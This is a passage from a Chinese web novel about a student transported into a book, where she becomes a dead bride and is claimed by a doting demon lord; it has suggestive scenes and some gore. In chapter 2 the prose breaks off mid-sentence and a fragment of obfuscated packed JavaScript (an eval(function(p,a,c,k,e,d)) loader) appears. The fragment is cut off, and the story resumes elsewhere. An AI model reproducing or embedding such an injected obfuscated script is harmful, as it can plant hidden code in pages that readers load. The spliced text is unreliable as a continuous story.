《甜妹掉进病娇窝后[穿书]》 1. 冥婚配 东窗贴着“囍”字窗花,素屏上绣着大朵的并蒂莲。鸳鸯桌上摆着红枣、花生、莲子……两头置着合卺酒,桌心的红烛发着幽暗昏沉的光。 明明是喜堂的布置,却除了桌上的红烛,哪里都是白色的。堂中亦到处立着纸人,个个凶神恶煞,面目狰狞。 荆歌的目光从红烛上收了回来,心中确定了一件事——她穿书了。 到这个堆满纸扎的喜堂已经有一会了,不知为何,除了眼珠子可以转动,她的身子完全动不了,只能坐在椅子上,不安地打量这个陌生又有些似曾相识的环境。 纸扎铺、全白陈设、唯一异色的红烛……这和她昨日看的一本网文中的设定一模一样。 网文叫做《三个男人一台戏》,是知名狗血文作者狗血淋成落汤鸡阔别三年后的“鸿篇巨制”。 一言蔽之其文内容:三个性格天差地别、帅得人神共愤的男人为天真烂漫的女主争风吃醋,打得头破血流的狗血故事。 荆歌想起了到这儿之前的事。 作者狗血淋成落汤鸡写的文是期末周提神醒脑抗疲劳的良药,狗血味十年如一日的正宗,情节不分场合的雷人,放在期末周看,甚是美味,但要是搁在平日看,味道就远远的淡了。 期末复习犯困,荆歌点进了小说软件,碍于时间紧张,只跳着看了这文男女主拉扯的部分章节,一个副本故事也没认真看,整篇小说看了不到三分之一,记住的大多是修罗场和有趣的设定。 比如纸扎的喜堂,唯一的红色火烛以及……她头上的单向盖头。 这盖头和单向玻璃的功能一样,朝向新娘的一面可以清楚地看见外边的一切,向外的一面却和普通盖头一样,无法看清内里。 也正是如此,荆歌将堂中的一切都看得真真切切的。 荆歌的眼珠向上转动,透过盖头看到了白色的梁顶。继而眼睛又向下瞟——她赤脚踩在松软的棉毯上,绣鞋放在一旁。 果然没错。 根据房屋的布置陈设以及她落座的位置,荆歌推断出了现在的她应该就是第一个副本故事中鬼店老板的妹妹。 鬼店就是这纸扎堂,鬼老板怕她妹妹一个人赴黄泉路孤单,就四处物色可以同她妹妹相配的俊俏男子,许给她妹妹配冥婚。 身为男主的仙君彼时正是女主的师父,带着她在人间游历,途经此地遇此事,便引导女主收了鬼老板,解救了被抓来作新郎人选的青年男子。 回忆结束,荆歌在心里苦笑。 她能接受穿书的事,因为在现实生活中,异常现象调查局已经公布了多例“异事件”——有人说他和李白喝酒拜把子,李白夸他写诗写得好,调查人员说他耍酒疯,他反手掏出了李白送他的诗稿,经专家对比,字迹竟然和故宫博物馆所藏的《上阳台帖》如出一辙,纸张也绝非现代工艺所产。 还有人说她穿书了,成了所磕小说cp睡塌的床,调查人员劝她多看点老少皆宜的,她淡定地掏出自己翘起一只床腿架手机和cp的合照,调查人员看着手机上的照片陷入了沉思——俊男靓女抱在一起,尬笑着看向彼此,两人身后塌了的床翘起了一只诡异的脚……照片里的男女现实中找不到。 起初接到这样的报案的是警局,警员联系了精神科,经检查这些报案人员精神均正常,很难断定是否是受梦境的影响。 渐渐地,这样离奇的难以考证的报案越来越多,演变到后来,不同的场合频繁出现了人员丢失或者晕倒的事件,而丢失的人会在某天归来,晕倒的人醒来后往往会泪流满面,说见到了朝思暮想的人,在某个地方和他们生活了许久。 眼看着这样的事件愈发的多,突然失踪又归来的人数也与日俱增,上级部门下令成立了异常事件调查局,专门对各类异常事件进行深入调查。 荆歌想起放下手机准备继续复习的前一秒中,屏幕上弹出了一则新闻,说是某街区突然出现了穿着喜服的古装男子,走了几步又消失了。 看到他的路人说这男人长得像天仙一样,监控也拍到了他,调查员却查不到他的身份。 而就在荆歌想要点进去看看路人拍到的照片时,突然两眼一黑,昏倒在了摊开书本的桌上。再醒来时,就到了这地方,成了一个死翘翘的新娘。 唉…… 荆歌在心底深深地叹了一口气。 穿书就穿书吧,好歹给她一个“活人”的身份。 别人穿书要么作女主,从此走上万人迷之路;要么穿书当恶毒女配,揭穿原女主伪面目爱上男主,成为幸福的小公主;再不行穿成炮灰废渣倒霉的的主,一路逆天改命翻身做主。 ……怎么到她这儿,就穿成了一个死人呢? 她该怎么办? 按照小说套路来说,穿书的人只要根据提示推动完所有的情节,就能回到现实或者活下去,可是要她一个死人应该怎样…… 吱—— 突然的推门声令荆歌心头一紧,脑中的千思万虑刹那间灰飞烟灭,她赶忙透过单向盖头紧张地看向来人。 推门而入的是一个挽着发的女子,穿着身深红色的衣裙,在素白的纸扎堂中显得格外的扎眼。 堂外并未下雨,可她脸上的妆容却像是被雨水冲洗过,化开了,露出的未被粉饰的五官很是精巧,双颊泛着红。 书中配角的形象荆歌记得并不清楚,但此情此景此地中,这女子除了是纸扎堂的鬼老板,她想不出还能是谁。 而在鬼老板的身后,跟着个高瘦的男人。男人披散着头发,低眉垂目,双手被藤条绑着,藤条的一端牵在鬼老板的手中。 鬼老板边走边道:“抱歉了妹妹,等很久了吧,”说着,她把男人往前一推,“这是姐姐为你挑的男人,你看看,可还满意?” 她这一推,生生把男人推到了荆歌的跟前。 咫尺之距,荆歌面色骤然一红。 ……这、这、这这男的怎么不好好穿衣服! 男人下身穿着一件光泽的白色绸裤,上身罩着一件红纱外衫,除这两件之外,什么都没穿。 明知男子看不到盖头下她的神情,荆歌还是红着脸将眼珠转到了一侧,满脑子却都是乍然出现在面前的腹肌。 ——白皙、紧致又柔和,如同精心雕琢过的块块美玉,很想让人把玩一翻……又因为裤子挎得很松,她甚至看到了男人腰腹两侧隐隐而下的人鱼线。 真是要了命了。 欣赏美色的欲望完胜了理智,荆歌又将眼珠子转了回来,直勾勾地盯着面前的男人,听着鬼老板言语: “哎呦,你瞧姐姐,忘记了妹妹贪睡,这会儿应是在盖头下睡着了。” 鬼老板说着,收回了缠在男人手腕上的藤条。 男人低垂的眉眼这才敢看向荆歌。 隔着盖头,男人怯生生的目光落进了荆歌的眼中,她的心跳突然漏了一拍。 太、太……太好看了吧。 看着她的男子,肌肤胜雪,高鼻墨眉,薄唇色淡,像是画作中的仙人。却偏偏有一双含情的桃花眼,令他染上了尘世的俗,口中衔着的红蔷薇,更是将他从云端拉向了魅海。 与这一身勾栏打扮不符的,仍是他的瞳眸,清润透亮,看向她的眼神小心翼翼的,满含珍惜,带着难以言说的欢喜,仿若在看什么失而复得、价值连城的宝贝。 要不是第一见,荆歌以为这男人早已爱上了她,且爱得死去活来,肝肠寸断了呢。 男人静静地、定定地盯着盖头下荆歌。 鬼老板叹了口气,继续道:“妹妹,你怎么就不能多等一会儿姐姐呢,你说喜欢形貌好的男子,姐姐给你找来了。你说想成婚想穿喜服,姐姐给你缝了嫁衣,你又怕蒙着盖头看不到外面的景致,姐姐便专门给你做了这单面可观的盖头,既守了俗礼又了了你的心愿。” “可是啊,太迟了,都太迟了!你怎么就离姐姐而去了呢?” 话落,荆歌看向她,心想真是个好姐姐。 鬼老板泣泪,擦干后突然恶狠狠地看向背对着她的男子:“先前抓的那些男子,真不是东 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“奴,不会。”男人开了口,嗓音低沉醇和,重复了一遍,“奴不会跑。” 鬼老板冷哼一声:“男人只有死了才老实。”她的眼神一瞟,看到了摆在荆歌脚边的绣鞋,“愣着干什么,还不赶紧给我妹妹把鞋穿上!” 男子颔首,红着眼提起衣摆,单膝跪在了地上,一手拿起绣鞋,一手抬起荆歌的脚,力道很轻。 可就在他的手触摸到荆歌脚踝的一瞬,荆歌心道:完了。 她恢复了知觉,身子能动了。 跪在她面前的男人,此时正用指腹轻轻摩挲着她脚腕上的伤痕。 那是一道很细的伤痕,荆歌自己也忘记了什么时候受的伤。 她在心中狂嚎:你要穿鞋就穿,乱摸什么!真的是,要忍不下去了! 倘若每个人身上都有比较敏/感的地方,自己碰还好,但要是让旁人碰了,总会条件反射似的躲。而荆歌最怕的就是别人碰她的腿。她倒不想躲,只想一脚踹开。 男人一手掌着她的脚,另一只手指腹轻点着,从脚腕往上游走。 把、手、拿、开! 荆歌咬紧牙关,忍耐到了极限,但碍于死人的身份,只能隔着盖头,怒视他。 男人仿佛感觉到了什么,指尖的动作并未停下,抬眸看向荆歌,唇角弯起,原本“含羞带怯”的眼神也在同她对视的瞬间,晕开了笑意。 这笑中,尽是宠溺。 男人微微歪首,眼神陡然而变,眼底狂傲之气尽显,夹带着顽劣的戏谑。 眨眼间的变脸令荆歌诧异,仿佛那个自称是“奴”的哭包男子在一瞬被人夺了舍,可她来不及深究,男人的手指便到了她腿间最敏/感的地带。 荆歌咒骂一声,一脚踢了出去。 你大爷的! 手中的匕首掉在了地上,鬼老板惊恐地看着“死而复活”的新娘,喃喃道:“妹妹,你……” 脚踢上了男人的脸,将他踹翻在了地。 男人却笑了起来,双肘顺势后撑,原本就敞着的红纱外衫向两边大开,胸腹坦露。挂在脖上的红蔷薇随之挣开了,顺着他起伏的胸膛往下滑落,到了腹间。 头顶的盖头因为急促又剧烈的动作滑落,落下的瞬间,荆歌目睹了坐在地上的男人一瞬的变装—— 红纱外衫成了貂裘紫袍,似仙似魅的容颜也覆上了一张银色面具,体态更是比方才高大了许多。 随着男人笑容变化的,还有纸扎堂。 鸳鸯桌上的红烛骤然而灭,堂中烧起了大火,却不见烟尘,火舞之处,成了雕梁玉阶、铁壁玄墙。 地上的男人起身,长袍扫过层层玉阶,弯腰捡起掉落在高台上的绣鞋,继而单膝跪在荆歌面前,轻握住她的脚踝,为她重新穿好鞋。 双目瞪得浑圆的荆歌听见他似笑非笑地问: “解气了吗?” “不解气的话,再踢两脚。” 2. 冥婚配 巨大的变化来得猝不及防,荆歌尚未来得及消化,便对上了眼前男人的目光,她身子下意识地往后倾,手撑在了一团软和的东西上。 荆歌眼神下瞟,发现自己竟坐在粉云赤雾聚合而成的云床之上,云床置放在一座金色的巨笼中。金笼在大殿的正中央,以此为中心,宫殿被分成了四阁,每一阁代表一季。春华秋实,夏雨冬雪,这里应有尽有。 眼前之景和书中所描绘的魔宫一模一样。 而穿着紫袍的银色面具男,不出意外的话,就是书里的大反派——魔头,扶光。 “你、你是……玄燚魔祖?”鬼店老板向后退了一步,眼神登时狠厉了起来,藏在袖中的手骤然聚生出一团鬼火。 如同未听到般,魔祖并不看她,依旧半跪在地,注视着荆歌,问:“为什么不说话,还在生我的气?” 他的声音低沉,此刻放得很轻,就像是热恋中的小情侣在想方设法哄对方开心。 荆歌恍惚一瞬,刹那的错觉让她以为自己和他已经相识了许久,回神过后头皮一阵发麻。 剧情和人设,怎么都和原文大相径庭! 按照原书的剧情,女主清禾拜入了第一仙君男主门下修炼,暗生情愫。在他的指导下,初次独立收服了鬼老板,两人返回怜青岛,也就是二人居住的地方。 后男主闭关,反派魔头为了逼不愿再执剑的男主同他一战,强掳走了女主,关在巨笼中。未曾想对女主一见钟情,知其心在仙君,便喂她钟情蛊,如长蛇一般日日痴缠于她。 某日魔头压不住魔性意欲霸王硬上弓时,出关的男主拔剑而来。看到女主衣衫不整的样子,男主多日隐忍克制的爱如同火山迸发。 宿敌变情敌,第一个修罗场就此诞生。从这以后,早已情根深种的仙君和魔头开始又争又抢。 书中的反派魔头,号玄燚魔祖,名为扶光,狂狷恣肆不可一世,哪怕爱上了女主也不会问愿不愿意,开口就是:“你只能爱本座,除了本座,你爱上的每个畜生,都得死。” 荆歌脑瓜疼,不知如何开口,沉默中瞥到了云床前的一面巨大的落地镜。 镜中的女子柳眉杏眼,天生笑唇,哪怕此刻心跳如雷,如临大敌,唇角的弧度却始终扬着。 这是她的长相,不是书中新娘的容貌。 同镜中自己四目相对的瞬间,荆歌脑中“嗡”的一声,一片空白。 就在这时,鬼老板厉声质问:“你是谁!我妹妹在哪儿!” 荆歌看向她,一脸的无奈,心道:你别问我啊,我是个“外地人”,什么都不知道啊,姐妹。 此刻她的脑中就像在放鞭炮,噼里啪啦乱响一通,千头万绪凌乱成碎屑。 好在魔祖终于站起了身,看向鬼老板,目光陡然变得凌厉。 “你是谁,谁给你的胆子,敢这样和本座的人说话。” 魔祖侧身睨向玉阶下的女鬼。 “本座还未问你,本座的人,怎么会出现在你那烂铺子里,你倒先质问起本座的人了。” “你,不该给本座一个交代吗!” 他的声音像是在千年寒冰中浸过,冷冽而沉厚,方才的那点温柔登时荡然无存。压抑的怒气如同密布的乌云,沉甸甸笼罩在大殿之中。 荆歌大气不敢出一下。 他现在越发像小说里写的魔头了。而魔头一生气最爱干的事,就是…… 嘭! 魔祖话落的瞬间,魔宫中低首而立的几名魔将小卒头爆开了。 血沫四溅,脑花成齑。 心脏像是要冲破胸膛一样狂跳不止,荆歌捂住了口鼻,遏制住自肺腑涌上来的恶心。 鬼老板见状不妙,眼珠一转,立刻跪倒在地,颤着声道:“奴……奴名为秦楠,家住凤竹堡,生前家中做纸扎生意的,溺水而亡,死后修习鬼道,是为了多陪妹妹几日。妹妹身患恶疾,时日无多,又遭地痞恶霸惦记,奴实在不忍看她一人孤苦于世,才修了鬼道,一是为了守护妹妹,二是为了报生前被欺辱的仇。” 魔祖将衣袍拢了拢,坐在了荆歌的身边,面覆寒霜,盯着阶下鬼。 “至于为何这位……”秦楠顿了下,斟酌了一下用词,“至于为何您的爱妻会出现在铺子里,奴实在不知。奴在铺子外设了结界,只有奴可以进入。盖头底下的,本该是奴的妹妹。” 说完这句,秦楠便颤着低下了身子,磕倒在地。 荆歌看看阶下的秦楠,又小心打量了一眼身边的魔头,发现他的面色缓和了许多,尤其在听到“爱妻”两个字时,眼底倏然而亮。 虽然剧情跑偏了,但魔头恋爱脑的人设没有崩塌。 荆歌悬着的心慢慢下落。就在这时,脑中突然出现了一道清甜的声音;“你好,荆歌,我是清禾。” 清禾——这不就是原书的女主吗? “很抱歉将你拖入书中的世界,但我别无他法。从进入书中的世界开始,你便成为了书中的女主角,请以你自己的方式,完成这个世界给予你的任务。” 表面波澜不惊,但实际内心早已咆哮不止的荆歌,用心声问:“做完了我就能回去了吗?” 荆歌人生信条第一则:船到桥头自然直。管他什么,兵来将挡水来土掩,只要能回去,什么任务她都能接受。 完不完得成另说。 “是的。你要做的第一件事,就是实现纸扎铺老板秦楠的夙愿。” 荆歌看向秦楠,她仍旧拜跪在地上,身上的红裙仿佛有千斤重,压在她瘦弱的身子上。 或许是太过畏惧魔头,秦楠并不敢提妹妹的事。但荆歌隐约可以猜到,她的夙愿应该和她失踪的妹妹有关。 一时听任务听得认真,看秦楠看得投入,忽略了身侧灼热的目光,待反应过来时,荆歌对上了魔头的目光,不知他看了多久。 “想放过她?”魔祖问。 荆歌心头一惊,心想着这人是能听到人的心声吗? “你总是这样,不让我杀人,我抓一个,你放一个。”魔祖说着,伸手抚上了荆歌的脸,“你说,我该拿你怎么办才好?” 想起方才他看自己的眼神,荆歌急中生智,抬手打掉了魔祖抚摸她脸颊的手,端出高贵女王的架势,压着声音冷语道:“放了她。” 书中的清禾在男主面前是个不谙世事、天真烂漫的甜妹,在反派魔头面前的形象是坚贞不屈的孤傲小白花。被囚禁在金笼中后,整日冷眼瞧魔头,什么都和他对着来,偏偏魔头还最吃她这一套,被迷得五迷三道的,征服欲在骨子里燃烧。 通过刚才的观察,荆歌发现剧情已经走向了魔改的方向,而且原本的女主,只存在在自己的意识中,而她,成为了全新的主角。 千变之中不变的,只有魔头的恋爱脑。 遇到恋爱脑魔头,那她就有救了。 既然魔头喜欢征服,享受喜欢的人的拳打脚踢,那她荆歌义不容辞,愿担大任,坚决维护魔头不为人知的属性! 果然,魔祖听见她的话,笑着看向她。 “好,都听你的。” 秦楠趁机,斗着胆子道:“可否请姑娘将盖头归还于奴。” “可以。”荆歌将抓皱了的盖头抚平,在魔祖出声之前,提裙跑下了玉阶,“拿好。” “奴谢姑娘。”秦楠起身,恭敬地接过盖头。 荆歌看着她,继续道:“以后同我讲话,不要自称为奴,说‘我’或者名字就好了。” 秦楠看着她,眼中闪着泪光,点头致谢,又拿着盖头匆忙施法。 “你这是在?”荆歌不解。 “奴……秦楠在用盖头探寻妹妹的气息。”说话时,她在荆歌真切的目光中,眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“送回去了。”魔祖单手拍了下身后的云床,“上来,陪我睡觉。” 荆歌想要说些什么,只是唇还未启,便躺在了他的身旁。 魔祖盯着她。 云床粉雾轻烟缭绕,难以言喻的情愫在云烟中氤氲。 侧躺着的男人,戴着遮覆住了半边容颜的面具,就这样注视着她。 眼神沉沉的,好像写满了故事。 荆歌不知所措,目光在惊慌中乱瞟,无意看见了他敞开的衣袍下起伏的胸膛。 魔祖的心似乎跳得很快。 ……怎么会不快呢? 从说出“我们”的时候,他的心就不属于自己了。 多久没听到这两个字了。 千年了吧。 只要她能回来,刀山火海,地狱深渊,他都陪她去,只要她时时刻刻在他身边。 区区一个鬼王,不过是深渊爬出的蛀虫,他何曾放在过眼里。 魔祖牢牢注视着荆歌。 她一向善良,想要助那女鬼,又或者在谋划些别的,于他而言,都不重要。 她要做的一切,一定都有她的道理。 只要她就在这里,在他身边,就好。 不知为何,魔祖看向她的眼神越来越悲伤,荆歌慌乱的心缺慢慢安定了下来。 她不知道的是,眼前的魔,眼底浓重悲伤之后,藏着为她铸起的牢笼。 一但踏入,便再也无法抽身离开…… 在他哀切的目光中,突然而至的困意席卷了她身。 闭眼的一刻,荆歌的脑中响起了极为魅惑的女声,她说: “你要让他跌落神坛,因爱疯魔。” “你要让他情深不寿,爱而不得。” “你要让他因爱生恨,为爱成囚。” 3. 冥婚配 一夜长梦,荆歌睁开了眼。 云床顶上嵌着一面铜镜,镜中人的面色红润,神色却如搁浅的游鱼,茫然无措。 荆歌盯着镜中的自己,想起了昨夜的梦。 梦中有个白衣女子,飘然于眼前,却始终看不清她的面容。只记得她的白衣拂过山河,眨眼间变成了血红色。 还记得女人伏在耳边的如鬼魅之声的呢喃: “你要让他跌落神坛,因爱疯魔。” “让他情深不寿,爱而不得。” “让他因爱生恨,为爱成囚。” 荆歌烦躁地抓了两把头发。 天神姥姥呀,这是梦还是任务?要是任务的话,未免太抽象了……算了,管他呢,闭眼之后脑子里发生的事,一律按照做梦处理。 现在的当务之急是完成清禾交代的任务。 绝不为多余事劳心费神。 想通后,荆歌翻身起床,伸了一个懒腰,抬眼便见魔祖站在四季阁中的“春”里,抱臂歪首,含笑看着她。 荆歌别过了眼——这小子又不好好穿衣服! 沐浴在春光里的魔祖,上身只罩了一件紫纱外衫,下身着同色的里裤,腰间松松垮垮地系着一条腰带,十分大方地展示着自己的身材。 “醒了?” 耳边别着的银色蜻蜓耳饰在他唇启之时,便翩然而起,穿花掠树,飞到了荆歌的身边,绕着她转了几圈,她身上的衣裳便变了,成了和他同款同色的一身衣裙。 荆歌低头看着自己衣服的变化,再抬首之时,发现床侧落地镜中的自己,发饰也变了。 接着,银色的蜻蜓展翅分化,分出另外三只,井然有序地带来了洗漱用品和餐肴。 荆歌就像太上皇似的,被伺候着完成了这两项“浩大的工程”。 “春”里的魔祖,于她用餐之时,给花草浇了水,为菜苗松了土,在涓涓而流的泉水中洗净了手,之后拿着一个花环走向了她。 目睹了这一切的荆歌,使劲眨巴了下眼睛。 这个不好好穿衣服的面具男,真是个魔头?没有被夺舍吧…… 而每当她有这样的念头时,脑中就会想起昨日他炸脑花的一幕。 脑中顿时像被泼了一盆凉水。 荆歌摇了摇头,别过了眼。 “为何不愿看我?” 魔祖落座于荆歌的身边,将花环戴在她头上后,一手抚向她的脸颊。 荆歌立马转回了脸,说出了忍了好久的心里话:“你能不能好好穿衣服,这样太——” “太什么?” “太……” “你不是最喜我这般吗?” 不知是有意还是无意,魔祖说这话时,眼中闪过一丝落寞,仿若被皇帝冷落的妃嫔,外罩的紫衫,却因向前挺胸的动作,襟领敞得更开了些。 荆歌:“……”好骚啊。 “睡得可好?你若睡不醒,总是要同我闹的。”魔祖逗够了她,解释起了昨日强掳她睡觉的原由,“睡醒了,你便可以继续做你想做的事了。” 爱看男人穿“透视装”,睡不醒心情会奇差——天真烂漫的女主清禾,一世英名都要被这男魔毁了。荆歌瞪了他一眼便不再管他,眼神越过他,看向不知何时立在了宫殿中的秦楠。 秦楠朝她颔首。 荆歌仿佛看到了救星一般跑向她,拉起她的手:“昨日你说消失就消失了,没事吧?” “没事,”秦楠应道,“昨日魔祖将我送回了纸扎堂,助我修复好了堂外的结界。” 秦楠神色认真,说完话后总是习惯性地低下头。说的话却越发的让荆歌怀疑——魔王是不是皮囊之下真的换人了,他什么时候这么助人为乐了? 她记着书中的他,集天地污秽阴恶所生,天生魔心,魔相初成那日,便将南冥魔域堕魔的仙灵、修魔的道士、尚魔的凡人,全都赶去了北冰极地,叫他们自生自灭。 后自立为祖,开新魔之宗。 他为人暴虐至极,绝无半点善心予人,更遑论助鬼修结界了。 真是太奇怪了。 荆歌多看了他几眼。 魔祖将衣裳抖落得更开了些,眼底玩味,仿佛在说:来,看个够。 已经没眼看了…… 荆歌白了他一眼,继续同低眉垂目的秦楠说话:“昨日你说妹妹被鬼王鬼阎抓去了,妹妹的尸首可还安好,鬼王的老巢在哪儿?” 对于鬼王,荆歌毫无印象,但擒贼擒王,擒王去老巢的道理她还是懂的。 秦楠回道:“我在盖头上撒下过一种独特的花粉,取自百花,本是为满足妹妹希望自己死后花香满身的夙念,如今以鬼蜂为引,查出这花香就在鬼王的地盘,无穷境。” 真在他老巢啊,还真让她猜对了啊。 荆歌拉住她的手,赶忙问:“无穷境在哪里,我们现在就出发吧。”早早完成任务,早早结束回家。 秦楠未言,原本坐在桌边的魔祖却走了过来,高大的身形拢住了荆歌,低身在她耳畔说:“这么着急去见那畜生吗?” 气息洒落在耳畔,像是屡屡热风拂过,他的声音本就好听,绕耳时,本该叫人浑身酥麻,然而声音中隐隐而发的怒意,占了上风,让人不觉胆寒。 荆歌立马躲到了秦楠的身后。 魔祖定定望着她。 “从前你逃出地宫,那畜生化成了人形,将你骗去了无穷境,以你之血为引,招极昼灯。倘若我晚一步,那畜生就该骗你拜堂成亲取血了。我欲杀之,你却出手阻拦,让他侥幸逃过一劫。今日这般着急,是心中还念着他吗?” 他说一句,荆歌的眼睛便睁大一分——还有这事?清禾给这老祖戴了顶绿油油的帽子? 挡在她身前的秦楠身形一顿,像是听见了什么听不得的秘闻似的,手抓皱了衣袖,低着的头更低了,恨不得找个缝儿钻进去。 魔祖气哼哼地取下了荆歌头上的花环,手一挥扔回了“春”里,花儿纷纷落下,重新栽进了土里。 “不给你了。” “让那畜生给你编吧。” 就算没有谈过恋爱,荆歌也听得出这位老祖是吃醋了。毕竟清禾走的是人见人爱的万人迷路线,被鬼王看上是情理之中,恋爱脑魔祖吃醋也是意料之内。 但是现在可不能因为这恋爱脑吃醋影响任务进度,秦楠打不过鬼王,她一个刚来此地的“外地人”人生地不熟,按照原书的设定现在的功法也才修到入门的水平,和鬼王打架那就是去送死。 换言之,她俩需要这位老祖的帮助。 老祖虽是恋爱脑,但战斗力爆表。 荆歌眼珠一转,往前一步,勾住了他缠在腰间的玉带。 许是力道没把握好,老祖的紫纱罩衫被她连带着腰带一起,勾到了地上。 上身赤/裸的魔祖转过了身,看向荆歌,眨了眨眼。 秦楠低着头,不知发生了什么。 老祖见状,满眼无辜道:“青天白日的,这是做什么,还有旁鬼在呢,等晚上再做好不好?” 荆歌:“……”你大爷的,怎么这么骚啊! 秦楠索性闭上了眼,暂封了自己的 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坐实心中猜测后,秦楠收回看向魔祖的目光,应道:“鬼王到处作恶,却十分谨慎,为了防止仙门百家围攻他的巢穴,便每隔一段时间,带领鬼族搬离一个地方。从鬼引蜂传来的讯息看,无穷境现在就在凤竹堡和朝凤山的交界地带,那里灵气稀薄,怨恶极重,适合鬼族修炼生息。” 荆歌点头,秦楠从袖中掏出了一张精巧的盖头,继续道:“姑娘若是无法瞬移,秦楠可用盖头变成一辆飞马,飞马拉车,载着姑娘和魔祖,保证二位不受颠簸。” 修仙的世界就是好,什么都变得出来,荆歌刚想问能不能像在纸扎堂里变金盆一样变出一辆金色的马车,就被突然靠过来的魔祖打断了。 他斩钉截铁道:“不用。” 魔祖单手环住荆歌的腰,带入他的怀里,接着道:“负恶,该醒了。” 话落的瞬间,荆歌脚底一震。 宫殿开始上升,就像是地底下有什么东西举着地宫站起来了。 在荆歌的诧异中,魔祖大袖一挥,宫顶变成了露天式的,一只巨兽伸颈,回首看向他们。 魔宫就位于这巨兽的背上。 巨兽,形似龟,好负重,龙之子。 荆歌忽然记起来了——背负魔宫的巨兽,就是传说中龙之子赑屃的子孙,它的神力已远不如祖辈,但负重的能力却比从前更甚,亦可日行千里,上天入海。 眼前的这头巨兽,许是天上地下唯一的一只赑屃后代了,是魔祖从万兽谷中挑出来的坐骑。 荆歌看着这位神兽的子孙,心中难免唏嘘。 给这魔头当坐骑,应该很命苦吧。 不光要背着他,还要驮着这座宫殿,宫殿又有成千上万的魔兵魔将,春夏秋冬四阁中更有数不胜数的万物生灵。 应该很重吧。 荆歌想着,往前走了几步,满含同情地摸了下它的脖颈。 魔祖一把拉回了她。 负恶看了她一眼,长啸了一声,开始撒欢似的向着空中飞奔。 荆歌倒回了魔祖的怀中,无意中摸到了魔祖的腹上,只听得一声闷哼。 “等会儿再摸。” 魔祖绷着脸,对用鬼力站稳的秦楠道:“自便,一日后到。” 说完,他搂紧了荆歌,下巴搭在她的肩上,十分无赖道:“那处不舒服,陪我去泡冷泉。” 荆歌睁大了眼。 秦楠又暂闭了耳目。 4. 冥婚配 负恶似乎奔腾到了空中,地宫不再倾斜,荆歌被魔祖掳到了冷泉中。 魔祖做事一向由着性子,也不知是爱干净还是火气旺盛,非要在找鬼王的路上泡个冷水澡,还得拉着她一起。 冷泉在“夏”阁中,位于一方僻静地,藏在百花深处。 被迫换上了一身轻薄里衣的荆歌,两臂环抱于胸前,她倒不是因为害羞,单纯是因为这水太冷了,这样抱着自己,暖和些。 瑟瑟发抖中,她还要分出精力,警惕地瞧着泉边脱衣的魔头。 这魔头对她,一贯是“赤诚”相见,要不是前两次秦楠在,荆歌严重怀疑,这为老祖会想方设法地一/丝/不/挂出现在她面前。 这时却不知为何,竟然背对着她脱起了外衫。 只见其衣衫从肩头滑落,露出了挺阔的肩背——肌理紧实却不虬结,线条流畅顺滑,让人很想上手摸一把。 慢慢地,外衫褪到了腰间,劲瘦的窄腰就这样出现在了荆歌的眼中。 脱完外罩后,魔祖便转过了身,穿着里裤淌水进了冷泉中,安分规矩地待在了冷泉的另一端。 ——咦,奇怪。按照他的尿性,不应该脱得干干净净往女主怀里扑吗?怎么会这么老实巴交地缩在一旁。 可惜了……可惜什么可惜! 荆歌你不要被美色诱惑啊!这是男魔,不是男模! 因为这份不合时宜的“可惜”而暗暗教育自己的荆歌,出神之中被“男模”一把揽进了怀中。 “男模”下巴搭在她的肩颈处,闷笑了一声后,问:“很失望?” 闻言,荆歌的脸烧成了绯红色,身子向后一仰,离他怀抱远了些,恼羞成怒道:“失望你个大头鬼啊,失望什么失望!” 魔祖盯着她,眨了下双眸,往自己身下看了一眼,再次看向荆歌的目光纯情又无辜,贴着她耳边问:“你说什么?” 受不了了! 荆歌猛地推了他一把,全然忘记自己此刻正跨坐在他的腿上,这样一推,反被他往怀中带得更深了些。 “我不闹你,别乱动。” 话落,荆歌果真不动了,因为她清楚地感受到了某魔某处的变化。现实中男生的小手都没拉过的她,真不知如何应对这种“阵仗”…… 荆歌深呼吸一口气。 以不变应万变,方为此时的上上策。她就保持着僵硬的姿势,听着魔祖在她耳边轻语: “寻你多日,魔相不稳,冷泉可以助我固魔相。” “冷泉于修炼之人亦大有裨益,你气脉虚弱,泡着对你也好。奈何你却怕冷,我抱着,会好些。” 魔祖说完这些话,双手紧紧环住了荆歌的腰,头靠在了她的肩上,嗅着她颈肩的香气,阖上了双目。 这老魔祖说得没错,他身子的温度异于常人,哪怕在冷泉中,也如火炉一般炽热。 这是因为他是魔,还是因为他现在魔相不稳?荆歌正思索着,脑中乍然涌入一道女声:“让他情深不寿,爱而不得。” 好熟悉的声音——荆歌晃了下脑袋,脑中的声音逐渐和昨日梦中女子的声音重合。 是清禾吗? 荆歌定了定神,屏息辨声。须臾后,一道清甜的声音出现在了她的脑海中。 “荆歌,无穷境中变幻无常,邪祟恶鬼奇多,请务必顾及自身安危,顺利完成任务。” 这才是清禾的声音,又给她强调了一遍要好好做任务。 比起这个,荆歌此时在意的是方才脑中那道一闪而过,似梦似幻的女声,她问:“刚才说话的是你吗?说‘让他情深不寿,爱而不得’的是你吗?” 话落,清禾顿了许久,似乎是在考量如何回答,须臾后,才道:“是,这个世界赋予你的任务,除了剧情任务之外,还有情感任务。” “情感任务就是和他、他、他虐恋情深吗?”荆歌扶额,头疼得厉害,想起《三个男人一台戏》这本书的角色设定。 除了仙君和魔头外,还有一位神秘的三号男嘉宾,荆歌没时间读,好奇地瞥了一眼评论区的剧透,意外地看到了书友们都在哀嚎为什么锁掉了男三的部分。 众所都知,清江读书软件锁得内容多为由脖子以下肢体进行的难以描述的动作戏。 怎么着,男三一出场,狗血文变限制级文? 荆歌仰天苦笑。 现实生活中的她不过是个大三的美术生,整日就是画画画,没事就想吃吃吃,没想到进了书里的世界,要和不同的男人谈谈谈。 去他男人的跌落神坛!去他男人的情深不寿!去他男人的因爱生恨! 一向亮晶晶的眼神此刻暗淡了下去,荆歌在心底哀嚎。 与她共享意识的清禾觉察到了她的担忧,宽慰道:“别担心,待秦楠的任务完成后,我会送你一本秘籍。” 荆歌的眼睛刷的一下又亮起来了。 对啊,清禾拿的可是万人迷剧本好吧,三个男人算什么?书里的男男女女老老少少都喜欢她。 她给你秘籍,一定有用。 “保证完成组织交代的任务。” 清禾的话令荆歌心安不少,冰冷的泉水也似乎因为心情的舒展而温暖了些许,连带着身子骨也舒爽了起来。 